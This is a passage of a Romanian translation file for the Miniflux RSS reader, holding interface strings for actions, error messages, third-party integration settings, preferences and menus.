    "content": "{\n    \"action.cancel\": \"abandon\",\n    \"action.download\": \"Descărcare\",\n    \"action.edit\": \"Editare\",\n    \"action.home_screen\": \"Adaugă pe ecranul principal\",\n    \"action.import\": \"Importă\",\n    \"action.login\": \"Autentificare\",\n    \"action.or\": \"sau\",\n    \"action.remove\": \"Elimină\",\n    \"action.remove_feed\": \"Elimină acest flux\",\n    \"action.save\": \"Salvează\",\n    \"action.subscribe\": \"Abonează-te\",\n    \"action.update\": \"Actualizare\",\n    \"alert.account_linked\": \"Contul dvs. extern este atașat!\",\n    \"alert.account_unlinked\": \"Am decuplat contul dvs. extern!\",\n    \"alert.background_feed_refresh\": \"Toate fluxurile sunt actualizate în fundal. Puteți să continuați utilizarea Miniflux în timp ce procesul rulează.\",\n    \"alert.feed_error\": \"Este o problemă cu acest flux\",\n    \"alert.no_starred\": \"Nu sunt înregistrări marcate.\",\n    \"alert.no_category\": \"Nu sunt categorii.\",\n    \"alert.no_category_entry\": \"Nu sunt înregistrări în această categorie.\",\n    \"alert.no_feed\": \"Nu aveți fluxuri.\",\n    \"alert.no_feed_entry\": \"Nu sunt înregistrări pentru acest flux.\",\n    \"alert.no_feed_in_category\": \"Nu sunt fluxuri pentru această categorie.\",\n    \"alert.no_history\": \"Nu există istoric în acest moment.\",\n    \"alert.no_search_result\": \"Nu există înregistrări pentru această căutare.\",\n    \"alert.no_shared_entry\": \"Nu sunt înregistrări partajate.\",\n    \"alert.no_tag_entry\": \"Nu sunt înregistrări pentru această etichetă.\",\n    \"alert.no_unread_entry\": \"Nu sunt intrări necitite.\",\n    \"alert.no_user\": \"Sunteți singurul utilizator.\",\n    \"alert.prefs_saved\": \"Preferințe salvate!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Ați activat actualizarea a prea multe fluxuri de informații. Vă rog să așteptați %d minut înainte de a reîncerca.\",\n        \"Ați activat actualizarea a prea multe fluxuri de informații. Vă rog să așteptați %d minute înainte de a reîncerca.\",\n        \"Ați activat actualizarea a prea multe fluxuri de informații. Vă rog să așteptați %d minute înainte de a reîncerca.\"\n    ],\n    \"confirm.loading\": \"În progres…\",\n    \"confirm.no\": \"nu\",\n    \"confirm.question\": \"Suneți sigur?\",\n    \"confirm.question.refresh\": \"Sunteți sigur că vreți să forțați reîmprospătarea?\",\n    \"confirm.yes\": \"da\",\n    \"enclosure_media_controls.seek\": \"Caută:\",\n    \"enclosure_media_controls.seek.title\": \"Caută %s secunde\",\n    \"enclosure_media_controls.speed\": \"Viteză:\",\n    \"enclosure_media_controls.speed.faster\": \"Mai rapid\",\n    \"enclosure_media_controls.speed.faster.title\": \"Mai rapid cu %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Resetare\",\n    \"enclosure_media_controls.speed.reset.title\": \"Resetare viteză la 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Mai încet\",\n    \"enclosure_media_controls.speed.slower.title\": \"Mai încet cu %sx\",\n    \"entry.starred.toast.off\": \"Fără stea\",\n    \"entry.starred.toast.on\": \"Cu stea\",\n    \"entry.starred.toggle.off\": \"Fără stea\",\n    \"entry.starred.toggle.on\": \"Stea\",\n    \"entry.comments.label\": \"Comentarii\",\n    \"entry.comments.title\": \"Vizualizare Comentarii\",\n    \"entry.estimated_reading_time\": [\n        \"%d minut de lectură\",\n        \"%d minute de lectură\",\n        \"%d minut de lectură\"\n    ],\n    \"entry.external_link.label\": \"Legătură externă\",\n    \"entry.save.completed\": \"Gata!\",\n    \"entry.save.label\": \"Salvare\",\n    \"entry.save.title\": \"Salvez această înregistrare\",\n    \"entry.save.toast.completed\": \"Înregistrare salvată\",\n    \"entry.scraper.completed\": \"Gata!\",\n    \"entry.scraper.label\": \"Descărcare\",\n    \"entry.scraper.title\": \"Descarcă conținutul original\",\n    \"entry.share.label\": \"Partajare\",\n    \"entry.share.title\": \"Partajează această înregistrare\",\n    \"entry.shared_entry.label\": \"Partajare\",\n    \"entry.shared_entry.title\": \"Deschide legătura publică\",\n    \"entry.state.loading\": \"Încarc…\",\n    \"entry.state.saving\": \"Salvez…\",\n    \"entry.status.mark_as_read\": \"Marcați ca citit\",\n    \"entry.status.mark_as_unread\": \"Marcați ca necitit\",\n    \"entry.status.title\": \"Modifică starea intrării\",\n    \"entry.status.toast.read\": \"Marcat ca citit\",\n    \"entry.status.toast.unread\": \"Marcat ca necitit\",\n    \"entry.tags.label\": \"Etichete:\",\n    \"entry.tags.more_tags_label\": [\n        \"Afișează încă o etichetă\",\n        \"Afișează încă %d etichete\",\n        \"Afișează încă %d de etichete\"\n    ],\n    \"entry.unshare.label\": \"Elimină partajarea\",\n    \"error.api_key_already_exists\": \"Această cheie API există deja.\",\n    \"error.bad_credentials\": \"Utilizator sau parolă invalide.\",\n    \"error.category_already_exists\": \"Această categorie există deja.\",\n    \"error.category_not_found\": \"Această categorie nu există sau nu aparține acestui utilizator.\",\n    \"error.database_error\": \"Eroare bază de date: %v.\",\n    \"error.different_passwords\": \"Parolele nu sunt identice.\",\n    \"error.duplicate_fever_username\": \"Este deja cineva cu același cont de Fever!\",\n    \"error.duplicate_googlereader_username\": \"Este deja cineva cu același nume de utilizator Google Reader!\",\n    \"error.duplicate_linked_account\": \"Este deja cineva asociat cu acest furnizor!\",\n    \"error.duplicated_feed\": \"Acest flux există deja.\",\n    \"error.empty_file\": \"Acest fișier este gol.\",\n    \"error.entries_per_page_invalid\": \"Numărul de înregistrări de pe pagină nu este valid.\",\n    \"error.feed_already_exists\": \"Acest flux există deja.\",\n    \"error.feed_category_not_found\": \"Această categorie nu există sau nu aparține utilizatorului.\",\n    \"error.feed_format_not_detected\": \"Nu pot detecta formatul fluxului: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"Blocul listei de reguli este invalid.\",\n    \"error.feed_invalid_keeplist_rule\": \"Lista de reguli keep este invalidă.\",\n    \"error.feed_mandatory_fields\": \"Adresa URL și categoria sunt obligatorii.\",\n    \"error.feed_not_found\": \"Acest flux nu există sau un aparține acestui utilizator.\",\n    \"error.feed_title_not_empty\": \"Titlul fluxului nu poate fi gol.\",\n    \"error.feed_url_not_empty\": \"Adresa URL a fluxului nu poate fi goală.\",\n    \"error.fields_mandatory\": \"Toate câmpurile sunt obligatorii.\",\n    \"error.http_bad_gateway\": \"Acest site web nu este disponibil momentan din cauza unei erori generată de gateway. Problema nu este de la Miniflux. Vă rugăm să reîncercați mai târziu.\",\n    \"error.http_body_read\": \"Nu pot citi corpul HTTP: %v.\",\n    \"error.http_client_error\": \"Eroare client HTTP: %v.\",\n    \"error.http_empty_response\": \"Răspunsul HTTP este gol. Poate acest site web utilizează un mecanism împotriva boților?\",\n    \"error.http_empty_response_body\": \"Corpul răspunsului HTTP este gol.\",\n    \"error.http_forbidden\": \"Accesul la acest site web este interzis. Poate acesta utilizează un mecanism împotriva boților?\",\n    \"error.http_gateway_timeout\": \"Acest site web nu este disponibil momentan din cauza unei erori generată de gateway. Problema nu este de la Miniflux. Vă rugăm să reîncercați mai târziu.\",\n    \"error.http_internal_server_error\": \"Acest site web nu este disponibil momentan din cauza unei erori generată de server. Problema nu este de la Miniflux. Vă rugăm să reîncercați mai târziu.\",\n    \"error.http_not_authorized\": \"Accesul la acest site nu este autorizat. Poate fi din cauza parolei sau a userului greșite.\",\n    \"error.http_resource_not_found\": \"Resursa solicitată nu este găsită. Vă rog să verificați URL-ul.\",\n    \"error.http_response_too_large\": \"Răspunsul HTTP este prea mare. Puteți crește dimensiunea acestuia în setările globale (necesită repornirea server-ului).\",\n    \"error.http_service_unavailable\": \"Acest site web nu este disponibil momentan din cauza unei erori generată de server. Problema nu este de la Miniflux. Vă rugăm să reîncercați mai târziu.\",\n    \"error.http_too_many_requests\": \"Miniflux a generat prea multe solicitări pe acest site web. Vă rog, încercați mai tîrziu sau modificați configurațiile aplicației.\",\n    \"error.http_unexpected_status_code\": \"Acest site web nu este disponibil momentan din cauza unei erori HTTP: %d. Problema nu este de la Miniflux. Vă rugăm să reîncercați mai târziu.\",\n    \"error.invalid_categories_sorting_order\": \"Ordinea de sortare a categoriilor nu este validă.\",\n    \"error.invalid_default_home_page\": \"Pagină de start invalidă!\",\n    \"error.invalid_display_mode\": \"Mod invalid de afișare în aplicația web.\",\n    \"error.invalid_entry_direction\": \"Direcție invalidă ăn intrare.\",\n    \"error.invalid_entry_order\": \"Direcție de sortare invalidă.\",\n    \"error.invalid_feed_proxy_url\": \"URL proxy invalid.\",\n    \"error.invalid_feed_url\": \"Adresa URL a fluxului este invalidă.\",\n    \"error.invalid_gesture_nav\": \"Gest de navigare invalid.\",\n    \"error.invalid_language\": \"Limbă invalidă.\",\n    \"error.invalid_site_url\": \"Adresa URL a site-ului este invalidă.\",\n    \"error.invalid_theme\": \"Temă invalidă.\",\n    \"error.invalid_timezone\": \"Dată/oră invalide.\",\n    \"error.network_operation\": \"Miniflux nu poate ajunge la acest site din cauza unei erori de rețea: %v.\",\n    \"error.network_timeout\": \"Acest site web este prea lent și conexiunea nu s-a realizat: %v\",\n    \"error.password_min_length\": \"Parola trebuie să aibă cel puțin 6 caractere.\",\n    \"error.proxy_url_not_empty\": \"URL-ul proxy nu poate fi gol.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Regulă de bloc invalidă: regulii #%d îi lipsește un nume valid de câmp (Opțiuni: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Regulă de bloc invalidă: modelul regulii #%d's nu este regex valid\",\n    \"error.settings_block_rule_regex_required\": \"Regulă de bloc invalidă: modelul regulii #%d's nu este furnizat\",\n    \"error.settings_block_rule_separator_required\": \"Regulă de bloc invalidă: modelul regulii #%d's trebuie separat de '='\",\n    \"error.settings_invalid_domain_list\": \"Lista domeniilor este invalidă. Vă rugăm să furnizați o listă de domenii separate prin spațiu.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Regulă Keep invalidă: regulii #%d îi lipsește un nume valid (Opțiuni: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Regulă Keep invalidă: modelul regulii #%d's nu este regex valid\",\n    \"error.settings_keep_rule_regex_required\": \"Regulă Keep invalidă: modelul regulii #%d nu este furnizat\",\n    \"error.settings_keep_rule_separator_required\": \"Regulă Keep invalidă: modelul regulii #%d's trebuie separat de'='\",\n    \"error.settings_mandatory_fields\": \"Numele utilizatorului, tema, limba și fusul orar sunt obligatorii.\",\n    \"error.settings_media_playback_rate_range\": \"Viteza de rulare nu este validă\",\n    \"error.settings_reading_speed_is_positive\": \"Vitezele de citire trebuie să fie numere întregi pozitive.\",\n    \"error.site_url_not_empty\": \"Adresa URL a site-ului nu poate fi goală.\",\n    \"error.subscription_not_found\": \"Nu se poate găsi nici un flux.\",\n    \"error.title_required\": \"Titlul este obligatoriu.\",\n    \"error.tls_error\": \"Eroare TLS: %q. Puteți dezactiva verificarea TLS în setările fluxurilor dacă doriți.\",\n    \"error.unable_to_create_api_key\": \"Nu pot crea această cheie API.\",\n    \"error.unable_to_create_category\": \"Nu se poate crea această categorie.\",\n    \"error.unable_to_create_user\": \"Nu se poate crea utilizatorul.\",\n    \"error.unable_to_detect_rssbridge\": \"Nu pot detecta fluxul când utilizez RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Nu pot procesa acest flux: %v.\",\n    \"error.unable_to_update_category\": \"Nu se poate actualiza această categorie.\",\n    \"error.unable_to_update_feed\": \"Nu se poate actualiza acest flux.\",\n    \"error.unable_to_update_user\": \"Nu se poate actualiza utilizatorul.\",\n    \"error.unlink_account_without_password\": \"Trebuie să definiți o parolă, altfel nu vă veți mai putea conecta.\",\n    \"error.user_already_exists\": \"Acest utilizator există deja.\",\n    \"error.user_mandatory_fields\": \"Numele utilizatorului este obligatoriu.\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token și Organization Slug sunt necesare\",\n    \"form.api_key.label.description\": \"Etichetă Cheie API\",\n    \"form.category.hide_globally\": \"Ascunde intrările în lista globală de articole necitite\",\n    \"form.category.label.title\": \"Titlu\",\n    \"form.feed.fieldset.general\": \"General\",\n    \"form.feed.fieldset.integration\": \"Servicii Terțe\",\n    \"form.feed.fieldset.network_settings\": \"Setări Rețea\",\n    \"form.feed.fieldset.rules\": \"Reguli\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Permite certificatele auto-semnate sau invalide\",\n    \"form.feed.label.apprise_service_urls\": \"Lista de URL-uri ale serviciilor Apprise separate prin virgule\",\n    \"form.feed.label.block_filter_entry_rules\": \"Reguli de Blocare a Intrărilor\",\n    \"form.feed.label.blocklist_rules\": \"Filtre de Blocare Bazate pe Regex\",\n    \"form.feed.label.category\": \"Categorie\",\n    \"form.feed.label.cookie\": \"Setare Cookie-uri\",\n    \"form.feed.label.crawler\": \"Aduce conținutul original\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Descriere\",\n    \"form.feed.label.disable_http2\": \"Dezactivează HTTP/2 pentru a preveni amprentarea\",\n    \"form.feed.label.disabled\": \"Nu actualiza acest flux\",\n    \"form.feed.label.feed_password\": \"Parolă Flux\",\n    \"form.feed.label.feed_url\": \"Flux URL\",\n    \"form.feed.label.feed_username\": \"Nume user Flux\",\n    \"form.feed.label.fetch_via_proxy\": \"Utilizați proxy-ul configurat la nivelul aplicației\",\n    \"form.feed.label.hide_globally\": \"Ascunde intrările în lista globală de articole necitite\",\n    \"form.feed.label.ignore_http_cache\": \"Ignoră cache HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Reguli de Permitere a Intrărilor\",\n    \"form.feed.label.keeplist_rules\": \"Filtre de Păstrare Bazate pe Regex\",\n    \"form.feed.label.no_media_player\": \"Nu există player media (audio/video)\",\n    \"form.feed.label.ntfy_activate\": \"Împinge intrările la ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Prioritate predefinită Ntfy\",\n    \"form.feed.label.ntfy_high_priority\": \"Prioritate ridicată Ntfy\",\n    \"form.feed.label.ntfy_low_priority\": \"Prioritate redusă Ntfy\",\n    \"form.feed.label.ntfy_max_priority\": \"Prioritate maximă Ntfy\",\n    \"form.feed.label.ntfy_min_priority\": \"Prioritate minimă Ntfy\",\n    \"form.feed.label.ntfy_priority\": \"Prioritate Ntfy\",\n    \"form.feed.label.ntfy_topic\": \"Subiect Ntfy (opțional)\",\n    \"form.feed.label.proxy_url\": \"URL Proxy\",\n    \"form.feed.label.pushover_activate\": \"Activează Pushover\",\n    \"form.feed.label.pushover_default_priority\": \"Prioritate implicită Pushover\",\n    \"form.feed.label.pushover_high_priority\": \"Prioritate ridicată Pushover\",\n    \"form.feed.label.pushover_low_priority\": \"Prioritate redusă Pushover\",\n    \"form.feed.label.pushover_max_priority\": \"Prioritate maximă Pushover\",\n    \"form.feed.label.pushover_min_priority\": \"Prioritate minimă Pushover\",\n    \"form.feed.label.pushover_priority\": \"Prioritate Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Reguli de Rescriere a Conținutului\",\n    \"form.feed.label.scraper_rules\": \"Reguli de Eliminare\",\n    \"form.feed.label.site_url\": \"Adresă URL\",\n    \"form.feed.label.title\": \"Titlu\",\n    \"form.feed.label.urlrewrite_rules\": \"URL Reguli de Rescriere\",\n    \"form.feed.label.user_agent\": \"Suprascrie User Agent Predefinit\",\n    \"form.feed.label.webhook_url\": \"URL Webhook (pentru a primi notificări despre evenimentele de intrare)\",\n    \"form.import.label.file\": \"Fișier OPML\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Trimite înregistrările pe archive.org\",\n    \"form.integration.apprise_activate\": \"Trimite înregistrările pe Apprise\",\n    \"form.integration.apprise_services_url\": \"URL-uri separate de virgulă cu servicii Apprise\",\n    \"form.integration.apprise_url\": \"URL API Apprise\",\n    \"form.integration.betula_activate\": \"Salvează înregistrările în Betula\",\n    \"form.integration.betula_token\": \"Token Betula\",\n    \"form.integration.betula_url\": \"Adresă server Betula\",\n    \"form.integration.cubox_activate\": \"Salvează intrările în Cubox\",\n    \"form.integration.cubox_api_link\": \"Link APi Cubox\",\n    \"form.integration.discord_activate\": \"Împinge intrările pe Discord\",\n    \"form.integration.discord_webhook_link\": \"Link Webhook Discord\",\n    \"form.integration.espial_activate\": \"Salvează intrările în Espial\",\n    \"form.integration.espial_api_key\": \"Cheie API Espial\",\n    \"form.integration.espial_endpoint\": \"Punct acces API Espial\",\n    \"form.integration.espial_tags\": \"Etichete Espial\",\n    \"form.integration.fever_activate\": \"Activează API Fever\",\n    \"form.integration.fever_endpoint\": \"Punct access API Fever:\",\n    \"form.integration.fever_password\": \"Parolă Fever\",\n    \"form.integration.fever_username\": \"Utilizator Fever\",\n    \"form.integration.googlereader_activate\": \"Activează API Google Reader\",\n    \"form.integration.googlereader_endpoint\": \"Punct acces API Google Reader:\",\n    \"form.integration.googlereader_password\": \"Parolă Google Reader\",\n    \"form.integration.googlereader_username\": \"Utilizator Google Reader\",\n    \"form.integration.instapaper_activate\": \"Salvează înregistrările pe Instapaper\",\n    \"form.integration.instapaper_password\": \"Parolă Instapaper\",\n    \"form.integration.instapaper_username\": \"Utilizator Instapaper\",\n    \"form.integration.karakeep_activate\": \"Salvare înregistrări în Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Cheie API Karakeep\",\n    \"form.integration.karakeep_url\": \"Punct acces API Karakeep\",\n    \"form.integration.karakeep_tags\": \"Karakeep Tags\",\n    \"form.integration.linkace_activate\": \"Salvează intrările în LinkAce\",\n    \"form.integration.linkace_api_key\": \"Cheie API LinkAce\",\n    \"form.integration.linkace_check_disabled\": \"Dezactivează verificarea link-urilor\",\n    \"form.integration.linkace_endpoint\": \"Endpoint API LinkAce\",\n    \"form.integration.linkace_is_private\": \"Marchează link-urile ca private\",\n    \"form.integration.linkace_tags\": \"Tag-uri LinkAce\",\n    \"form.integration.linkding_activate\": \"Salvează intrările în Linkding\",\n    \"form.integration.linkding_api_key\": \"Cheie API Linkding\",\n    \"form.integration.linkding_bookmark\": \"Marchează semnele de carte ca necitite\",\n    \"form.integration.linkding_endpoint\": \"Endpoint API Linkding\",\n    \"form.integration.linkding_tags\": \"TAG-uri Linkding\",\n    \"form.integration.linktaco_activate\": \"Salvează înregistrările în LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API Token\",\n    \"form.integration.linktaco_api_token_hint\": \"Obțineți jetonul de acces personal la\",\n    \"form.integration.linktaco_org_slug\": \"Slug organizației\",\n    \"form.integration.linktaco_tags\": \"Tag-uri (maxim 10, separate prin virgule)\",\n    \"form.integration.linktaco_tags_hint\": \"Maxim 10 tag-uri, separate prin virgule\",\n    \"form.integration.linktaco_visibility\": \"Vizibilitate\",\n    \"form.integration.linktaco_visibility_public\": \"Public\",\n    \"form.integration.linktaco_visibility_private\": \"Privat\",\n    \"form.integration.linktaco_visibility_hint\": \"Vizibilitatea PRIVATĂ necesită un cont LinkTaco plătit\",\n    \"form.integration.linkwarden_activate\": \"Salvează intrările în Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Cheie API Linkwarden\",\n    \"form.integration.linkwarden_endpoint\": \"URL-ul de bază Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden Collection ID\",\n    \"form.integration.matrix_bot_activate\": \"Împinge intrările noi pe Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"ID-ul Camerei Matrix\",\n    \"form.integration.matrix_bot_password\": \"Parola utilizatorului Matrix\",\n    \"form.integration.matrix_bot_url\": \"Server URL Matrix\",\n    \"form.integration.matrix_bot_user\": \"Utilizator Matrix\",\n    \"form.integration.notion_activate\": \"Salvează înregistrările în Notion\",\n    \"form.integration.notion_page_id\": \"ID Pagină Notion\",\n    \"form.integration.notion_token\": \"Token Secret Notion\",\n    \"form.integration.ntfy_activate\": \"Împinge intrările pe ntfy\",\n    \"form.integration.ntfy_api_token\": \"Token API Ntfy (opțional)\",\n    \"form.integration.ntfy_icon_url\": \"Icon URL Ntfy (opțional)\",\n    \"form.integration.ntfy_internal_links\": \"Utilizează legături interne la clic (opțional)\",\n    \"form.integration.ntfy_password\": \"Parolă Ntfy (opțional)\",\n    \"form.integration.ntfy_topic\": \"Topic Ntfy\",\n    \"form.integration.ntfy_url\": \"URL Ntfy (opțional, predefinit este ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Utilizator Ntfy (opțional)\",\n    \"form.integration.nunux_keeper_activate\": \"Salvează înregistrările în Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Cheie API Nunux Keeper\",\n    \"form.integration.nunux_keeper_endpoint\": \"Punct de acces API Keeper\",\n    \"form.integration.omnivore_activate\": \"Salvare înregistrări în Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Cheie API Omnivore\",\n    \"form.integration.omnivore_url\": \"Punct acces API Omnivore\",\n    \"form.integration.pinboard_activate\": \"Salvează intrările în Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Marchează bookmark ca necitit\",\n    \"form.integration.pinboard_tags\": \"Etichete Pinboard\",\n    \"form.integration.pinboard_token\": \"Token API Pinboard\",\n    \"form.integration.pushover_activate\": \"Activează Pushover\",\n    \"form.integration.pushover_device\": \"Dispozitiv Pushover (opțional)\",\n    \"form.integration.pushover_prefix\": \"Prefix Pushover (opțional)\",\n    \"form.integration.pushover_token\": \"Token Pushover\",\n    \"form.integration.pushover_user\": \"Utilizator Pushover\",\n    \"form.integration.raindrop_activate\": \"Salvează intrările în Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"ID Colecție\",\n    \"form.integration.raindrop_tags\": \"Tag-uri (separate de virgulă)\",\n    \"form.integration.raindrop_token\": \"(Test) Token\",\n    \"form.integration.readeck_activate\": \"Salvează intrările în readeck\",\n    \"form.integration.readeck_api_key\": \"Cheie API Readeck\",\n    \"form.integration.readeck_endpoint\": \"URL Readeck\",\n    \"form.integration.readeck_labels\": \"Etichete Readeck\",\n    \"form.integration.readeck_only_url\": \"Trimite numai URL (în loc de tot conținutul)\",\n    \"form.integration.readeck_push_activate\": \"Trimite automat noile înregistrări în Readeck\",\n    \"form.integration.readwise_activate\": \"Salvare înregistrări în Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Token Acces Readwise Reader\",\n    \"form.integration.readwise_api_key_link\": \"Obțineți Token-ul de Acess pe Readwise\",\n    \"form.integration.rssbridge_activate\": \"Verifică RSS-Bridge la adăugarea de abonamente\",\n    \"form.integration.rssbridge_token\": \"Token de autentificare RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"URL server RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"Salvează articolele în Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Secret API Shaarli\",\n    \"form.integration.shaarli_endpoint\": \"URL Shaarli\",\n    \"form.integration.shiori_activate\": \"Salvează articolele în Shiori\",\n    \"form.integration.shiori_endpoint\": \"Endpoint API Shiori\",\n    \"form.integration.shiori_password\": \"Parolă Shiori\",\n    \"form.integration.shiori_username\": \"Utilizator Shiori\",\n    \"form.integration.slack_activate\": \"Împinge intrările pe Slack\",\n    \"form.integration.slack_webhook_link\": \"Link Webhook Slack\",\n    \"form.integration.telegram_bot_activate\": \"Împingeți înregistrările noi pe chat-ul Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Dezactivează butoanele\",\n    \"form.integration.telegram_bot_disable_notification\": \"Dezactivează notificările\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Dezactivează previzualizarea paginii web\",\n    \"form.integration.telegram_bot_token\": \"Token Bot\",\n    \"form.integration.telegram_chat_id\": \"ID Chat\",\n    \"form.integration.telegram_topic_id\": \"ID Topic\",\n    \"form.integration.wallabag_activate\": \"Salvează înregistrările în Wallabag\",\n    \"form.integration.wallabag_client_id\": \"ID Client Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Secret Client Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"URL Wallabag\",\n    \"form.integration.wallabag_tags\": \"Etichete Wallabag\",\n    \"form.integration.wallabag_only_url\": \"Trimite numai URL-ul (fără conținut complet)\",\n    \"form.integration.wallabag_password\": \"Parolă Wallabag\",\n    \"form.integration.wallabag_username\": \"Utilizator Wallabag\",\n    \"form.integration.webhook_activate\": \"Activează Webhook\",\n    \"form.integration.webhook_secret\": \"Secret Webhook\",\n    \"form.integration.webhook_url\": \"URL Webhook\",\n    \"form.prefs.fieldset.application_settings\": \"Setări Aplicație\",\n    \"form.prefs.fieldset.authentication_settings\": \"Setări Autentificare\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Setări Globale pt. Flux\",\n    \"form.prefs.fieldset.reader_settings\": \"Setări Citire\",\n    \"form.prefs.help.external_font_hosts\": \"Lista fonturilor de pe gazdă separate de virgulă care poate fi utilizate. De exemplu: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"Citește articolele deschizând linkurile externe\",\n    \"form.prefs.label.categories_sorting_order\": \"Sortare categorii\",\n    \"form.prefs.label.cjk_reading_speed\": \"Viteză de citire pentru Chineză, Coreană și Japoneză (caractere pe minut)\",\n    \"form.prefs.label.custom_css\": \"CSS personalizat\",\n    \"form.prefs.label.custom_js\": \"JavaScript personalizat\",\n    \"form.prefs.label.default_home_page\": \"Pagina pornire predefinită\",\n    \"form.prefs.label.default_reading_speed\": \"Viteză de citire pentru alte limbi (cuvinte pe minut)\",\n    \"form.prefs.label.display_mode\": \"Mod afișare Aplicație Web Progresivă (PWA)\",\n    \"form.prefs.label.entries_per_page\": \"Intrări pe pagină\",\n    \"form.prefs.label.entry_order\": \"Coloană de sortare\",\n    \"form.prefs.label.entry_sorting\": \"Sortare intrări\",\n    \"form.prefs.label.entry_swipe\": \"Activare glisare pentru ecranele tactile\",\n    \"form.prefs.label.external_font_hosts\": \"Fonturi externe gazdă\",\n    \"form.prefs.label.gesture_nav\": \"Gesturi pentru navigare între înregistrări\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Activare scurtături tastatură\",\n    \"form.prefs.label.language\": \"Limbă\",\n    \"form.prefs.label.mark_read_manually\": \"Marchează manual intrările ca citite\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Marchează ca citit numai când redarea de conținut audio/video atinge 90%%\",\n    \"form.prefs.label.mark_read_on_view\": \"Marchează intrările ca citite la vizualizare\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Marchează intrările ca citite la vizualizare. Pentru audio/video, marchează ca citit la redarea a 90%% de conținut\",\n    \"form.prefs.label.media_playback_rate\": \"Viteza de rulare audio/video\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Deschide linkurile externe într-o filă nouă (adaugă target=\\\"_blank\\\" la linkuri)\",\n    \"form.prefs.label.show_reading_time\": \"Afișare timp estimat de citire pentru înregistrări\",\n    \"form.prefs.label.theme\": \"Temă\",\n    \"form.prefs.label.timezone\": \"Fus orar\",\n    \"form.prefs.select.alphabetical\": \"Alfabetic\",\n    \"form.prefs.select.browser\": \"Browser\",\n    \"form.prefs.select.created_time\": \"Dată creare înregistrare\",\n    \"form.prefs.select.fullscreen\": \"Ecran complet\",\n    \"form.prefs.select.minimal_ui\": \"Minim\",\n    \"form.prefs.select.none\": \"Nimic\",\n    \"form.prefs.select.older_first\": \"Intrările mai vechi la început\",\n    \"form.prefs.select.publish_time\": \"Data publicare înregistrare\",\n    \"form.prefs.select.recent_first\": \"Intrările mai noi la început\",\n    \"form.prefs.select.standalone\": \"Independent\",\n    \"form.prefs.select.swipe\": \"Glisare\",\n    \"form.prefs.select.tap\": \"Apăsare dublă\",\n    \"form.prefs.select.unread_count\": \"Contor necitite\",\n    \"form.submit.loading\": \"Încarc…\",\n    \"form.submit.saving\": \"Salvez…\",\n    \"form.user.label.admin\": \"Administrator\",\n    \"form.user.label.confirmation\": \"Confirmare Parolă\",\n    \"form.user.label.password\": \"Parolă\",\n    \"form.user.label.username\": \"Nume utilizator\",\n    \"menu.about\": \"Despre\",\n    \"menu.add_feed\": \"Adaugă flux\",\n    \"menu.add_user\": \"Adaugă utilizator\",\n    \"menu.api_keys\": \"Chei API\",\n    \"menu.categories\": \"Categorii\",\n    \"menu.create_api_key\": \"Crează o nouă cheie API\",\n    \"menu.create_category\": \"Crează o categorie\",\n    \"menu.edit_category\": \"Editare\",\n    \"menu.edit_feed\": \"Editare\",\n    \"menu.export\": \"Exportă\",\n    \"menu.feed_entries\": \"Intrări\",\n    \"menu.feeds\": \"Fluxuri\",\n    \"menu.flush_history\": \"Elimină istoricul\",\n    \"menu.history\": \"Istoric\",\n    \"menu.home_page\": \"Pagina principală\",\n    \"menu.import\": \"Importă\",\n    \"menu.integrations\": \"Integrări\",\n    \"menu.logout\": \"Deconectare\",\n    \"menu.mark_all_as_read\": \"Marchează tot ca citit\",\n    \"menu.mark_page_as_read\": \"Marchează această pagină ca citită\",\n    \"menu.preferences\": \"Preferințe\",\n    \"menu.refresh_all_feeds\": \"Reînnoiește toate fluxurile în fundal\",\n    \"menu.refresh_feed\": \"Reînnoire\",\n    \"menu.search\": \"Caută\",\n    \"menu.sessions\": \"Sesiuni\",\n    \"menu.settings\": \"Setări\",\n    \"menu.shared_entries\": \"Intrări partajate\",\n    \"menu.show_all_entries\": \"Afișează toate intrările\",\n    \"menu.show_only_starred_entries\": \"Afișează numai intrările marcate\",\n    \"menu.show_only_unread_entries\": \"Afișează numai intrările necitite\",\n    \"menu.starred\": \"Marcat\",\n    \"menu.title\": \"Meniu\",\n    \"menu.unread\": \"Necitit\",\n    \"menu.users\": \"Utilizatori\",\n    \"page.about.author\": \"Autor:\",\n    \"page.about.build_date\": \"Dată Build:\",\n    \"page.about.credits\": \"Credit\",\n    \"page.about.db_usage\": 